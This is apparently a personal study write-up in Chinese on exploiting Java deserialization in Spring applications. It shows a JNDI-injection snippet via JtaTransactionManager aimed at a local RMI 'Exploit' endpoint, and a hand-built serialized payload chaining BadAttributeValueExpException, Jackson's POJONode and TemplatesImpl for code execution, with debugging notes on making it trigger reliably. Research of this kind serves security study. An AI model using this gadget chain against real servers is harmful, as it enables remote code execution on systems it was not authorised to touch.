前言
学习。
通过Spring-tx依赖
光有Spring Web还不够,还需要一个Spring-tx依赖,根据本地的Spring版本选择了一个相同版本的Spring-tx依赖:
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-tx</artifactId>
<version>5.3.27</version>
</dependency>
以前学习过,该依赖下存在JtaTransactionManager类,可以直接用于JNDI注入:
JtaTransactionManager jtaTransactionManager = new JtaTransactionManager();
jtaTransactionManager.setUserTransactionName("rmi://127.0.0.1:1099/Exploit");
Util.unserialize(Util.serialize(jtaTransactionManager));
测试时发现似乎由于属性userTransaction是一个未添加依赖的类型UserTransaction,虽然是transient修饰符的但还是导致了序列化失败,或许需要手写序列化流、自己整一个新的JtaTransactionManager类或者引入依赖再弄吧。
由于Spring中存在Tomcat依赖,因此可以使用里面的BeanFactory有限制地进行函数调用。
通过Jackson
以前学习过Java原生反序列化在反序列化时,FastJson的JSONObject类的toString函数会通过FastJson的方式序列化自身内部元素,进而触发它们的getter函数完成利用的方式,而Spring中虽然没有FastJson,却有跟FastJson有异曲同工之妙的Jackson。
类似FastJson的JSONObject类,Jackson中也有一个继承Serializable接口,还存在序列化自身元素的类POJONode,该类的serialize函数如下:
@Override
public final void serialize(JsonGenerator gen, SerializerProvider ctxt) throws IOException
{
if (_value == null) {
ctxt.defaultSerializeNull(gen);
} else if (_value instanceof JsonSerializable) {
((JsonSerializable) _value).serialize(gen, ctxt);
} else {
// 25-May-2018, tatu: [databind#1991] do not call via generator but through context;
// this to preserve contextual information
ctxt.defaultSerializeValue(_value, gen);
}
}
按照常规定义,POJO类即简单的数据类,保存数据而不包含业务逻辑,各个成员一般都存在getter和setter函数,因此按一般理性而言,序列化时和FastJson一样会触发类的getter函数,并且可能都可以通过toString函数触发。
简单测试一下,但是其父类BaseJsonNode存在writeReplace函数:
Object writeReplace() {
return NodeSerialization.from(this);
}
因此按照正常流程序列化POJONode类时,序列化流程就会被该函数强制修改为Jackson自身定义的序列化方式:
�� sr 5com.fasterxml.jackson.databind.node.NodeSerialization xpw {"data":"data"}x
很明显,Jackson通过这个NodeSerialization类来代理完成类的反序列化,因此想要正常生成测试用的序列化对象,就需要修改这个writeReplace函数。
方法有很多,不怕麻烦可以直接一点强行手写序列化字节流,优雅一点可以通过agent修改BaseJsonNode类的字节码把writeReplace函数删掉,折中一点的办法可以打开新的项目,自己写好POJONode类和其父类ValueNode来进行序列化。
这里通过直接手写序列化流的方式完成漏洞利用,可以参考Java8u20反序列化漏洞的做法,可以手写序列化流,因为实际上需要的数据只有一个BadAttributeValueExpException对象,一个POJONode对象和一个TemplatesImpl对象,因此构造起来也比较简单:
@RequestMapping("/deserialization")
public String deserialization() {
if (this.bytes == null) {
this.bytes = Converter.toBytes(getPOC());
}
System.out.println(new String(this.bytes));
Object obj = Util.unserialize(this.bytes);
System.out.println(obj.getClass().getName());
return "index";
}
private Object[] getPOC() {
return new Object[]{
STREAM_MAGIC, STREAM_VERSION, // 序列化数据头
TC_OBJECT,
TC_CLASSDESC,
BadAttributeValueExpException.class.getName(),
-3105272988410493376L,
(byte) 3, // flags (SC_SERIALIZABLE)
(short) 1, // field count
(byte) 'L', "val", TC_STRING, "Ljava/lang/Object;",
TC_ENDBLOCKDATA,
TC_NULL,
TC_OBJECT,
TC_CLASSDESC,
POJONode.class.getName(),
2L, // serialVersionUID
(byte) 3, // flags (SC_SERIALIZABLE)
(short) 1, // field count
(byte) 'L', "_value", TC_STRING, "Ljava/lang/Object;",
TC_ENDBLOCKDATA,
TC_NULL,
Util.getTemplatesPOC(),
TC_ENDBLOCKDATA,
TC_REFERENCE, baseWireHandle + 0x03,
TC_STRING, "_value",
TC_ENDBLOCKDATA,
TC_REFERENCE, baseWireHandle + 0x01,
TC_STRING, "val",
};
}
具体的对象引用通过调试可知,虽然序列化和反序列化正常进行了,但实际运行中却发现反序列化漏洞没有正常触发,根据调试,可知getter函数的触发位于BeanSeriallizerBase类的serializeFields函数中:
if (_filteredProps != null && provider.getActiveView() != null) {
props = _filteredProps;
} else {
props = _props;
}
int i = 0;
try {
for (final int len = props.length; i < len; ++i) {
BeanPropertyWriter prop = props[i];
if (prop != null) { // can have nulls in filtered list
prop.serializeAsField(bean, gen, provider);
}
}
if (_anyGetterWriter != null) {
_anyGetterWriter.getAndSerialize(bean, gen, provider);
}
}
发现此时首先调用了TemplatesImpl的getStylesheetDOM函数:
public DOM getStylesheetDOM() {
return (DOM)_sdom.get();
}
而由于_sdom成员是一个transient成员,因此调用时该成员就会为null,调用该函数就会抛出异常直接结束getter的遍历调用。
进行调试,发现getter是由ClassUtil类中的getClassMethods函数通过Class.getDeclaredMethods函数获取的,换而言之就是乱序,然后交给POJOPropertiesCollector类的collectAll函数移除一些不想要的成员或者getter,最后遍历访问。
因此每次运行程序时getter的调用顺序都不一样,多启动几次程序可以发现漏洞可以成功利用。
怪耶!